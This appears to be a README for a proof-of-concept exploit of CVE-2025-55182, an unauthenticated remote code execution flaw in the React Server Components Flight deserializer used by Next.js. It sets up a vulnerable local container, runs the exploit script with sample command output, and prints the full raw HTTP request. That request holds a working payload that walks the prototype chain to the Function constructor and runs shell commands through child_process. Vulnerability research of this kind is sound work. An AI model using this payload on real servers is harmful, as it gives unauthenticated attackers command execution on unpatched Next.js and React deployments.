
CVE-2025-55182 — React2Shell
CVE-2025-55182 ("React2Shell") is an unauthenticated RCE vulnerability (CVSS 10.0) in the Flight protocol deserializer of React Server Components.
The reviveModel function in React's Flight protocol client does not validate object keys with hasOwnProperty, allowing an attacker to traverse the prototype chain (__proto__ → constructor → Function constructor) and execute arbitrary JavaScript.
Since deserialization occurs before authentication via a single multipart POST request with the header, the attack can be carried out without authentication.
Next-Action| Component | Vulnerable Versions | Fixed Version |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # Exploit script
└── target/ # Vulnerable Next.js app
├── Containerfile # For podman build
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
The command output is returned in the digest field of the JSON response.
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# File write
python poc.py http://localhost:3000 "touch /tmp/pwned"
# Verify inside container
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # this also works
Assuming Burp is running on localhost:8080
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln